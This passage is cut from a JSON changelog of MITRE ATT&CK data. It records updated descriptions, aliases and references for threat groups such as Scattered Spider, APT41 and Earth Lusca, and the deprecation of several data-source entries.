NGO, and think tank organizations in NATO countries, particularly the US and the UK.(Citation: Microsoft Star Blizzard August 2022)(Citation: CISA Star Blizzard Advisory December 2023)(Citation: StarBlizzard)(Citation: Google TAG COLDRIVER January 2024)\n", + "aliases": [ + "Star Blizzard", + "SEABORGIUM", + "Callisto Group", + "TA446", + "COLDRIVER" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1033", + "external_id": "G1033" + }, + { + "source_name": "Callisto Group", + "description": "(Citation: CISA Star Blizzard Advisory December 2023)" + }, + { + "source_name": "TA446", + "description": "(Citation: CISA Star Blizzard Advisory December 2023)" + }, + { + "source_name": "COLDRIVER", + "description": "(Citation: Google TAG COLDRIVER January 2024)" + }, + { + "source_name": "SEABORGIUM", + "description": "(Citation: Microsoft Star Blizzard August 2022)" + }, + { + "source_name": "CISA Star Blizzard Advisory December 2023", + "description": "CISA, et al. (2023, December 7). Russian FSB Cyber Actor Star Blizzard Continues Worldwide Spear-phishing Campaigns. Retrieved June 13, 2024.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-341a" + }, + { + "source_name": "Microsoft Star Blizzard August 2022", + "description": "Microsoft Threat Intelligence. (2022, August 15). Disrupting SEABORGIUM\u2019s ongoing phishing operations. Retrieved June 13, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2022/08/15/disrupting-seaborgiums-ongoing-phishing-operations/" + }, + { + "source_name": "StarBlizzard", + "description": "Microsoft Threat Intelligence. (2023, December 7). Star Blizzard increases sophistication and evasion in ongoing attacks. Retrieved February 13, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/12/07/star-blizzard-increases-sophistication-and-evasion-in-ongoing-attacks/" + }, + { + "source_name": "Google TAG COLDRIVER January 2024", + "description": "Shields, W. (2024, January 18). Russian threat group COLDRIVER expands its targeting of Western officials to include the use of malware. Retrieved June 13, 2024.", + "url": "https://blog.google/threat-analysis-group/google-tag-coldriver-russian-phishing-malware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_contributors": [ + "Aung Kyaw Min Naing, @Nolan" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0" + } + ], + "major_version_changes": [ + { + "type": "intrusion-set", + "id": "intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-07-05 17:54:54.789000+00:00", + "modified": "2025-10-24 02:30:51.936000+00:00", + "name": "Scattered Spider", + "description": "[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group active since at least 2022. (Citation: CrowdStrike Scattered Spider Profile) (Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. (Citation: MSTIC Octo Tempest Operations October 2023)\n[Scattered Spider](https://attack.mitre.org/groups/G1015) relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain. (Citation: CISA Scattered Spider Advisory November 2023) (Citation: CrowdStrike Scattered Spider BYOVD January 2023) (Citation: Crowdstrike TELCO BPO Campaign December 2022)\n[Scattered Spider](https://attack.mitre.org/groups/G1015) had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365. (Citation: Mandiant UNC3944 May 2025)", + "aliases": [ + "Scattered Spider", + "Roasted 0ktapus", + "Octo Tempest", + "Storm-0875", + "UNC3944" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1015", + "external_id": "G1015" + }, + { + "source_name": "Roasted 0ktapus", + "description": "(Citation: CrowdStrike Scattered Spider BYOVD January 2023)" + }, + { + "source_name": "UNC3944", + "description": "(Citation: Mandiant UNC3944 May 2025)(Citation: Mandiant VMware vSphere JUL 2025)" + }, + { + "source_name": "Octo Tempest", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "Storm-0875", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "CISA Scattered Spider Advisory November 2023", + "description": "CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.", + "url": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a" + }, + { + "source_name": "CrowdStrike Scattered Spider BYOVD January 2023", + "description": "CrowdStrike. (2023, January 10). SCATTERED SPIDER Exploits Windows Security Deficiencies with Bring-Your-Own-Vulnerable-Driver Tactic in Attempt to Bypass Endpoint Security. Retrieved July 5, 2023.", + "url": "https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/" + }, + { + "source_name": "CrowdStrike Scattered Spider Profile", + "description": "CrowdStrike. (n.d.). Scattered Spider. Retrieved July 5, 2023.", + "url": "https://www.crowdstrike.com/adversaries/scattered-spider/" + }, + { + "source_name": "Mandiant VMware vSphere JUL 2025", + "description": "Mandiant Incident Response. (2025, July 23). From Help Desk to Hypervisor: Defending Your VMware vSphere Estate from UNC3944. Retrieved October 13, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944" + }, + { + "source_name": "Mandiant UNC3944 May 2025", + "description": "Mandiant Incident Response. (2025, May 6). Defending Against UNC3944: Cybercrime Hardening Guidance from the Frontlines. Retrieved October 13, 2025.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "MSTIC Octo Tempest Operations October 2023", + "description": "Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.", + "url": "https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/" + }, + { + "source_name": "Crowdstrike TELCO BPO Campaign December 2022", + "description": "Parisi, T. (2022, December 2). Not a SIMulation: CrowdStrike Investigations Reveal Intrusion Campaign Targeting Telco and BPO Companies. Retrieved June 30, 2023.", + "url": "https://www.crowdstrike.com/blog/analysis-of-intrusion-campaign-targeting-telecom-and-bpo-companies/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "3.0", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 02:30:51.936000+00:00\", \"old_value\": \"2024-04-04 21:24:48.602000+00:00\"}, \"root['description']\": {\"new_value\": \"[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group active since at least 2022. (Citation: CrowdStrike Scattered Spider Profile) (Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. (Citation: MSTIC Octo Tempest Operations October 2023)\\n[Scattered Spider](https://attack.mitre.org/groups/G1015) relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain. (Citation: CISA Scattered Spider Advisory November 2023) (Citation: CrowdStrike Scattered Spider BYOVD January 2023) (Citation: Crowdstrike TELCO BPO Campaign December 2022)\\n[Scattered Spider](https://attack.mitre.org/groups/G1015) had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365. (Citation: Mandiant UNC3944 May 2025)\", \"old_value\": \"[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group that has been active since at least 2022.(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management and business-process outsourcing (BPO) firms as well as telecommunications and technology companies. Beginning in 2023, [Scattered Spider](https://attack.mitre.org/groups/G1015) expanded its operations to compromise victims in the gaming, hospitality, retail, MSP, manufacturing, and financial sectors.(Citation: MSTIC Octo Tempest Operations October 2023) During campaigns, [Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged targeted social-engineering techniques, attempted to bypass popular endpoint security tools, and more recently, deployed ransomware for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: CrowdStrike Scattered Spider BYOVD January 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023)(Citation: Crowdstrike TELCO BPO Campaign December 2022)\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n-[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group that has been active since at least 2022.(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management and business-process outsourcing (BPO) firms as well as telecommunications and technology companies. Beginning in 2023, [Scattered Spider](https://attack.mitre.org/groups/G1015) expanded its operations to compromise victims in the gaming, hospitality, retail, MSP, manufacturing, and financial sectors.(Citation: MSTIC Octo Tempest Operations October 2023) During campaigns, [Scattered Spider](https://attack.mitre.org/groups/G1015) has leveraged targeted social-engineering techniques, attempted to bypass popular endpoint security tools, and more recently, deployed ransomware for financial gain.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: CrowdStrike Scattered Spider BYOVD January 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citation: MSTIC Octo Tempest Operations October 2023)(Citation: Crowdstrike TELCO BPO Campaign December 2022)\\n+[Scattered Spider](https://attack.mitre.org/groups/G1015) is a native English-speaking cybercriminal group active since at least 2022. (Citation: CrowdStrike Scattered Spider Profile) (Citation: MSTIC Octo Tempest Operations October 2023) The group initially targeted customer relationship management (CRM) providers, business process outsourcing (BPO) firms, and telecommunications and technology companies before expanding in 2023 to gaming, hospitality, retail, managed service provider (MSP), manufacturing, and financial sectors. (Citation: MSTIC Octo Tempest Operations October 2023)\\n+[Scattered Spider](https://attack.mitre.org/groups/G1015) relies heavily on social engineering, including impersonating IT and help-desk staff, to gain initial access, bypass multi-factor authentication (MFA), and compromise enterprise networks. The group has adapted its tooling to evade endpoint detection and response (EDR) defenses and used ransomware for financial gain. (Citation: CISA Scattered Spider Advisory November 2023) (Citation: CrowdStrike Scattered Spider BYOVD January 2023) (Citation: Crowdstrike TELCO BPO Campaign December 2022)\\n+[Scattered Spider](https://attack.mitre.org/groups/G1015) had expanded into hybrid cloud and identity environments, using help-desk impersonation and MFA bypass to obtain administrator access in Okta, AWS, and Office 365. (Citation: Mandiant UNC3944 May 2025)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"3.0\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['aliases'][4]\": \"UNC3944\", \"root['external_references'][2]\": {\"source_name\": \"UNC3944\", \"description\": \"(Citation: Mandiant UNC3944 May 2025)(Citation: Mandiant VMware vSphere JUL 2025)\"}, \"root['external_references'][8]\": {\"source_name\": \"Mandiant VMware vSphere JUL 2025\", \"description\": \"Mandiant Incident Response. (2025, July 23). From Help Desk to Hypervisor: Defending Your VMware vSphere Estate from UNC3944. Retrieved October 13, 2025.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\"}, \"root['external_references'][9]\": {\"source_name\": \"Mandiant UNC3944 May 2025\", \"description\": \"Mandiant Incident Response. (2025, May 6). Defending Against UNC3944: Cybercrime Hardening Guidance from the Frontlines. Retrieved October 13, 2025.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/unc3944-proactive-hardening-recommendations\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 3.0", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1[Scattered Spider](https://attack.mitre.org/groups/G1015) ist1[Scattered Spider](https://attack.mitre.org/groups/G1015) is
> a native English-speaking cybercriminal group that has been> a native English-speaking cybercriminal group active since 
> active since at least 2022.(Citation: CrowdStrike Scattered>at least 2022. (Citation: CrowdStrike Scattered Spider Profi
> Spider Profile)(Citation: MSTIC Octo Tempest Operations Oct>le) (Citation: MSTIC Octo Tempest Operations October 2023) T
>ober 2023) The group initially targeted customer relationshi>he group initially targeted customer relationship management
>p management and business-process outsourcing (BPO) firms as> (CRM) providers, business process outsourcing (BPO) firms, 
> well as telecommunications and technology companies. Beginn>and telecommunications and technology companies before expan
>ing in 2023, [Scattered Spider](https://attack.mitre.org/gro>ding in 2023 to gaming, hospitality, retail, managed service
>ups/G1015) expanded its operations to compromise victims in > provider (MSP), manufacturing, and financial sectors. (Cita
>the gaming, hospitality, retail, MSP, manufacturing, and fin>tion: MSTIC Octo Tempest Operations October 2023) [Scattered
>ancial sectors.(Citation: MSTIC Octo Tempest Operations Octo> Spider](https://attack.mitre.org/groups/G1015) relies heavi
>ber 2023) During campaigns, [Scattered Spider](https://attac>ly on social engineering, including impersonating IT and hel
>k.mitre.org/groups/G1015) has leveraged targeted social-engi>p-desk staff, to gain initial access, bypass multi-factor au
>neering techniques, attempted to bypass popular endpoint sec>thentication (MFA), and compromise enterprise networks. The 
>urity tools, and more recently, deployed ransomware for fina>group has adapted its tooling to evade endpoint detection an
>ncial gain.(Citation: CISA Scattered Spider Advisory Novembe>d response (EDR) defenses and used ransomware for financial 
>r 2023)(Citation: CrowdStrike Scattered Spider BYOVD January>gain. (Citation: CISA Scattered Spider Advisory November 202
> 2023)(Citation: CrowdStrike Scattered Spider Profile)(Citat>3) (Citation: CrowdStrike Scattered Spider BYOVD January 202
>ion: MSTIC Octo Tempest Operations October 2023)(Citation: C>3) (Citation: Crowdstrike TELCO BPO Campaign December 2022) 
>rowdstrike TELCO BPO Campaign December 2022)>[Scattered Spider](https://attack.mitre.org/groups/G1015) ha
 >d expanded into hybrid cloud and identity environments, usin
 >g help-desk impersonation and MFA bypass to obtain administr
 >ator access in Okta, AWS, and Office 365. (Citation: Mandian
 >t UNC3944 May 2025)
" + } + ], + "minor_version_changes": [ + { + "type": "intrusion-set", + "id": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-09-23 13:43:36.945000+00:00", + "modified": "2025-06-11 20:13:29.024000+00:00", + "name": "APT41", + "description": "[APT41](https://attack.mitre.org/groups/G0096) is a threat group that researchers have assessed as Chinese state-sponsored espionage group that also conducts financially-motivated operations. Active since at least 2012, [APT41](https://attack.mitre.org/groups/G0096) has been observed targeting various industries, including but not limited to healthcare, telecom, technology, finance, education, retail and video game industries in 14 countries.(Citation: apt41_mandiant) Notable behaviors include using a wide range of malware and tools to complete mission objectives. [APT41](https://attack.mitre.org/groups/G0096) overlaps at least partially with public reporting on groups including BARIUM and [Winnti Group](https://attack.mitre.org/groups/G0044).(Citation: FireEye APT41 Aug 2019)(Citation: Group IB APT 41 June 2021)\n", + "aliases": [ + "APT41", + "Wicked Panda", + "Brass Typhoon", + "BARIUM" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0096", + "external_id": "G0096" + }, + { + "source_name": "Wicked Panda", + "description": "(Citation: Crowdstrike GTR2020 Mar 2020)" + }, + { + "source_name": "APT41", + "description": "(Citation: FireEye APT41 2019)" + }, + { + "source_name": "Brass Typhoon", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "BARIUM", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "Crowdstrike GTR2020 Mar 2020", + "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.", + "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf" + }, + { + "source_name": "FireEye APT41 2019", + "description": "FireEye. (2019). Double DragonAPT41, a dual espionage andcyber crime operationAPT41. Retrieved September 23, 2019.", + "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf" + }, + { + "source_name": "FireEye APT41 Aug 2019", + "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.", + "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf" + }, + { + "source_name": "apt41_mandiant", + "description": "Mandiant. (n.d.). APT41, A DUAL ESPIONAGE AND CYBER CRIME OPERATION. Retrieved June 11, 2024.", + "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + }, + { + "source_name": "Group IB APT 41 June 2021", + "description": "Rostovcev, N. (2021, June 10). Big airline heist APT41 likely behind a third-party attack on Air India. Retrieved August 26, 2021.", + "url": "https://www.group-ib.com/blog/colunmtk-apt41/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Kyaw Pyiyt Htet, @KyawPyiytHtet", + "Nikita Rostovcev, Group-IB" + ], + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "4.2", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-06-11 20:13:29.024000+00:00\", \"old_value\": \"2025-04-22 21:56:33.318000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"4.2\", \"old_value\": \"4.1\"}}}", + "previous_version": "4.1", + "version_change": "4.1 \u2192 4.2" + }, + { + "type": "intrusion-set", + "id": "intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-07-01 20:12:30.184000+00:00", + "modified": "2025-06-06 14:55:18.144000+00:00", + "name": "Earth Lusca", + "description": "[Earth Lusca](https://attack.mitre.org/groups/G1006) is a suspected China-based cyber espionage group that has been active since at least April 2019. [Earth Lusca](https://attack.mitre.org/groups/G1006) has targeted organizations in Australia, China, Hong Kong, Mongolia, Nepal, the Philippines, Taiwan, Thailand, Vietnam, the United Arab Emirates, Nigeria, Germany, France, and the United States. Targets included government institutions, news media outlets, gambling companies, educational institutions, COVID-19 research organizations, telecommunications companies, religious movements banned in China, and cryptocurrency trading platforms; security researchers assess some [Earth Lusca](https://attack.mitre.org/groups/G1006) operations may be financially motivated.(Citation: TrendMicro EarthLusca 2022)\n\n[Earth Lusca](https://attack.mitre.org/groups/G1006) has used malware commonly used by other Chinese threat groups, including [APT41](https://attack.mitre.org/groups/G0096) and the [Winnti Group](https://attack.mitre.org/groups/G0044) cluster, however security researchers assess [Earth Lusca](https://attack.mitre.org/groups/G1006)'s techniques and infrastructure are separate.(Citation: TrendMicro EarthLusca 2022)", + "aliases": [ + "Earth Lusca", + "TAG-22", + "Charcoal Typhoon", + "CHROMIUM", + "ControlX" + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G1006", + "external_id": "G1006" + }, + { + "source_name": "Charcoal Typhoon", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "ControlX", + "description": "(Citation: Microsoft Threat Actor Naming July 2023)" + }, + { + "source_name": "CHROMIUM", + "description": "(Citation: Microsoft Threat Actor Naming July 2023) (Citation: Recorded Future RedHotel August 2023)" + }, + { + "source_name": "TAG-22", + "description": "(Citation: Recorded Future TAG-22 July 2021)" + }, + { + "source_name": "TrendMicro EarthLusca 2022", + "description": "Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca\u2019s Operations. Retrieved July 1, 2022.", + "url": "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf" + }, + { + "source_name": "Recorded Future TAG-22 July 2021", + "description": "INSIKT GROUP. (2021, July 8). Chinese State-Sponsored Activity Group TAG-22 Targets Nepal, the Philippines, and Taiwan Using Winnti and Other Tooling. Retrieved September 16, 2024.", + "url": "https://www.recordedfuture.com/research/chinese-group-tag-22-targets-nepal-philippines-taiwan" + }, + { + "source_name": "Recorded Future RedHotel August 2023", + "description": "Insikt Group. (2023, August 8). RedHotel: A Prolific, Chinese State-Sponsored Group Operating at a Global Scale. Retrieved March 11, 2024.", + "url": "https://go.recordedfuture.com/hubfs/reports/cta-2023-0808.pdf" + }, + { + "source_name": "Microsoft Threat Actor Naming July 2023", + "description": "Microsoft . (2023, July 12). How Microsoft names threat actors. Retrieved November 17, 2023.", + "url": "https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "enterprise-attack", + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-06-06 14:55:18.144000+00:00\", \"old_value\": \"2024-09-16 16:18:00.876000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1" + } + ], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "campaigns": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "assets": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "mitigations": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [], + "deletions": [] + }, + "datasources": { + "additions": [], + "major_version_changes": [], + "minor_version_changes": [], + "other_version_changes": [], + "patches": [], + "revocations": [], + "deprecations": [ + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2023-03-13 19:30:41.131000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0041", + "external_id": "DS0041" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Application Vetting", + "description": "Application vetting report generated by an external cloud service.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Report" + ], + "x_mitre_domains": [ + "mobile-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Android", + "iOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-16 21:22:20.420000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.273000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0017", + "external_id": "DS0017" + }, + { + "source_name": "Confluence Linux Command Line", + "description": "Confluence Support. (2021, September 8). How to enable command line audit logging in linux. Retrieved September 23, 2021.", + "url": "https://confluence.atlassian.com/confkb/how-to-enable-command-line-audit-logging-in-linux-956166545.html" + }, + { + "source_name": "Audit OSX", + "description": "Gagliardi, R. (n.d.). Audit in a OS X System. Retrieved September 23, 2021.", + "url": "https://www.scip.ch/en/?labs.20150108" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Command", + "description": "A directive given to a computer program, acting as an interpreter of some kind, in order to perform a specific task(Citation: Confluence Linux Command Line)(Citation: Audit OSX)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Container", + "Host" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "Austin Clark, @c2defense" + ], + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Containers", + "Linux", + "Network Devices", + "Windows", + "macOS", + "Android", + "iOS", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:11:26.880000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--c000cd5c-bbb3-4606-af6f-6c6d9de0bbe3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.274000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0029", + "external_id": "DS0029" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Network Traffic", + "description": "Data transmitted across a network (ex: Web, DNS, Mail, File, etc.), that is either summarized (ex: Netflow) and/or captured as raw data in an analyzable format (ex: PCAP)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + "Cloud Control Plane", + "Host", + "Network" + ], + "x_mitre_contributors": [ + "Center for Threat-Informed Defense (CTID)", + "ExtraHop" + ], + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Linux", + "Windows", + "macOS", + "Android", + "iOS", + "ESXi" + ], + "x_mitre_version": "1.2", + "x_mitre_deprecated": true, + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-18 15:11:13.424000+00:00\"}, \"root['x_mitre_deprecated']\": {\"new_value\": true, \"old_value\": false}}}" + }, + { + "type": "x-mitre-data-source", + "id": "x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datasources/DS0009", + "external_id": "DS0009" + }, + { + "source_name": "Microsoft Processes and Threads", + "description": "Microsoft. (2018, May 31). Processes and Threads. Retrieved September 28, 2021.", + "url": "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process", + "description": "Instances of computer programs that are being executed by at least one thread. Processes have memory space for process executables, loaded modules (DLLs or shared libraries), and allocated memory regions containing everything from user input to application-specific data structures(Citation: Microsoft Processes and Threads)", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_collection_layers": [ + 